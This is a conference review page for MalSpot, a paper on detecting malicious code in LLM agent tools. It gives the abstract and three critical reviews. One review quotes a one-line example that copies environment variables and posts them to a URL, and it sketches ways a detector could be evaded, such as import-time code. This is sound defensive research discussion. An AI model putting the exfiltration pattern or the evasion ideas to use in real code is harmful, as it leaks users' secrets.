acceptodds
Under review as a conference paper at ICLR 2027

MalSpot: Detecting and Localizing Malicious Code in LLM Agent Tools

Abstract

Tools extend the capabilities of large language model (LLM) agents, but malicious code in these tools can compromise users' security and privacy. Existing static detectors struggle to distinguish malicious behavior from legitimate functionality because the same operations can serve either purpose. For example, a network request may send credentials to a service for authentication or leak them to an attacker. In this work, we propose MalSpot for statically detecting and localizing malicious behavior in agent tool code. MalSpot first identifies statements that interact with the environment and collects the code that assigns values to the variables they use. With this context, it combines static and LLM-based analysis to select potentially malicious code. Multiple LLMs then independently analyze the selected code together with the tool's complete source code to confirm or revise the initial assessments. MalSpot combines their tool-level decisions by majority vote. For a tool labeled malicious, it reports the location of the statement most frequently identified as malicious. Experiments on three datasets show that MalSpot achieves high true-positive rates with low false-positive rates, outperforming the baselines. With small open-weight models, it achieves performance comparable to direct detection and localization with frontier closed-source LLMs such as Claude-Opus-5 and GPT-5.5.

Primary area:
alignment, fairness, safety, privacy, and societal considerations
Keywords:
LLM Agent, Malicious Tool, Agentic Security

Reviews

Among:
Shape:
1234this paper, Bottom 10%
Figure 1. Mean review rating of the reviewed papers at ICLR 2027. This paper averages 1.67 over 3 reviews, above 10% of the others.
Reviewer_DRwDOpenReview ↗
Rating
2
Confidence
3
Informativeness
2
Presentation
2
Soundness
2
Read review
Paper summary

This paper presents MalSpot, a static framework for detecting and localizing malicious code in LLM agent tools. It uses an LLM to identify security-relevant anchors, constructs traces around their input variables, and selects potentially suspicious traces using static checks and LLM assessments. Multiple LLMs then review the selected evidence alongside the full source code and vote on the tool-level decision and malicious location. The paper reports high detection rates and low false-positive rates across three datasets.

Critical strengths

(i)The paper addresses an emerging security problem in agent tools. And I think it's a thoughtful way to handle behavior that may be either legitimate or malicious. (ii) Anchors and traces give the LLMs specific code to inspect and give a place for reviewer to check rather than just a malicious/benign label. (iii)The evaluation is reasonably thorough: it covers both detection and localization, and MalSpot outperforms several traditional and LLM-based baselines on the reported metrics.

Critical weaknesses

(i) AST matching confirms that a proposed anchor exists, but the paper does not report whether Step I proposes anchors in annotated malicious code or whether Step II retains them. (ii) The paper does not explain how MalSpot handles Base64-encoded payloads or dynamically generated code. (iii)The evaluation does not compare MalSpot with code-behavior-based methods such as MalGuard and Ea4mp, leaving its relative performance unclear. (iv) Removing the static checks changes the majority-vote TPR by only 0.58 percentage points and the FPR by 0.08 points. Given these small differences, paired uncertainty estimates and repeated runs would help establish whether the static checks provide a reliable benefit. (v)The paper does not evaluate whether MalSpot can detect malicious payloads hidden by encoding or code generated in one file and executed in another.

Questions for authors

(i) On MalTool, what proportion of malicious tools have an anchor in an annotated malicious span after Step I, and what proportion still have one after Step II? How does this vary across attack categories? (ii)How are functions discovered across files and framework callbacks in Step I? What happens when dispatch is dynamic? (iii) How do the pipeline's latency and token use compare with the Direct baseline, which sends the full code to an LLM?

Reviewer_1fVROpenReview ↗
Rating
2
Confidence
2
Informativeness
2
Presentation
3
Soundness
2
Read review
Paper summary

MalSpot detects and localizes malicious code in LLM agent tools through three stages, including extracting security-relevant code traces, screening them with static checks and LLM, and reassessing selected traces alongside the full retained source using multiple LLMs. Across three datasets, it reports substantial detection improvements over direct LLM analysis.

Critical strengths
  1. The framework addresses the distinction between sensitive operations and malicious behavior. The ablation supports tool-level reassessment by removing it increases FPR from 0.50% to 3.58% while with little change in TPR.
  2. The evaluation covers multiple datasets and diverse baselines. The 23.50% TPR improvement on SkillTrustBench is substantial, and the framework also improves end-to-end localization.
Critical weaknesses
  1. MalSpot uses additional inference stages and different decision instructions from Direct. Comparisons with matched prompts and inference budgets are needed to establish the specific benefit of trace construction and screening. The static-analysis ablation shows only a modest contribution.
  2. Tools with no selected traces are automatically labeled benign, but anchor coverage and stage-specific false negatives are not reported. Moreover, the 0.25% skill FPR represents only 1 error among 400 samples, making extrapolation to larger number of tools uncertain.
Questions for authors
  1. Among the final false negatives, how many arise from source preprocessing, missed anchors, trace filtering, and final-stage misclassification? In particular, how many malicious tools are labeled benign because Ru=∅R_u=\varnothing? What happens to accuracy and cost if all discovered anchors are passed to Step III?
  2. Can you compare Direct with additional reassessment, anchor-only context, full traces, and complete MalSpot under a shared final decision prompt and comparable inference budgets? How many attacks are detected specifically because a static rule retains a trace that would otherwise be discarded?
  3. Does the localization advantage persist on tools correctly detected by both Direct and MalSpot? Can you report Hit@1 and Hit@3 under consistent final output budgets, together with stage-level calls, token usage, latency, and end-to-end computational cost?
Reviewer_rgPQOpenReview ↗
Rating
1
Confidence
3
Informativeness
1
Presentation
3
Soundness
1
Read review
Paper summary

This paper proposes MalSpot to detect and localize malicious code within third-party Python agent tool by integrating program analysis with LLMs. The process consists of three steps. In Step I (Trace Construction), LLMs are used to identify "anchors"—statements that interact with the environment, and data assignments leading to each anchor point are collected to form a "trace." Then in Step II (Trace Analysis), static rules are combined with LLM-based evaluations to filter for traces likely to contain malicious code for passing to Step III, three LLMs evaluate the tool based on the selected traces and its full source code; a final classification (malicious or benign) is determined via a majority-voting mechanism, and the malicious code is localized to the line containing the anchor point within the trace identified by the majority of the models. Across three datasets (MalTool, Connor, and SkillTrustBench), MalSpot achieves a True Positive Rate (TPR) ranging from 91.8% to 98.3%, with a False Positive Rate (FPR) of ≤ 0.5%. These results demonstrate a superior balance compared to 14 baseline methods. Moreover, the system achieves performance comparable to the frontier LLMs performances, even when utilizing small open-source LLMs.

Critical strengths

S1. Timely and practical problem. S2. Broad comparison: There are 14 baselines, including the MCP/skill scanners practitioners use, on both MCP tools and skills, for both detection and localization. S3. Good accuracy/cost trade-off: Small open-weight LLMs roughly matches direct prompting of frontier models.

Critical weaknesses

The role of static analysis: I see static analysis provides almost no significant added value. This method focuses on selecting traces by combining static analysis with a large language model (LLM), retaining code segments flagged by static analysis even when the LLM initially classifies them as benign. However, removing static analysis only alters the majority vote results by −0.58 percentage points for the true positive rate (TPR) (corresponding to 7 out of 1,200 tools) and +0.08 percentage points for the false positive rate (FPR) (corresponding to 1 tool) (Table 5). This change falls within the margin of random error: the 95% confidence intervals are [90.1; 93.3] and [89.5; 92.8], respectively.

The approach fails to account for adaptive attacks, even though the threat model grants the attacker full control over the source code, which is a critical oversight for a security detection tool. Specific design weaknesses include: (i) The full-source check can be bypassed. This process is only triggered if Step II successfully selects a trace; if no trace is selected, the tool defaults to classifying the code as benign without proceeding to Step III. Consequently, an attacker only needs to deceive the triage model and the established rules. (ii) Traces are based solely on local variable names (defined as the "most recent preceding assignment within the same function"). This approach fails to capture data flow occurring via function parameters, object attributes, global variables, external files, or state changes in data structures (e.g., container mutations). For instance, the code snippet payload = {}; payload.update(os.environ); requests.post(u, json=payload) would result in a trace suggesting that an empty dictionary is being transmitted. (iii) Code executed at import time may fall outside the scope of analysis. The defined "anchors" are function-specific—encompassing an entry-point function and the functions it calls—but code at the module level or code executed during the import process (such as that found in __init__.py files or within decorators) appears to be excluded. This is significant, as such locations are frequently used to house malicious code within compromised Python packages.

Overall, I do not find the proposed method to have sufficient novelty.

Questions for authors

Please clarify weaknesses.

From OpenReview, CC BY 4.0. Authors as signed there; shown unedited.

Related papers

Loading the map…

Discussion (0)

Sign in to comment.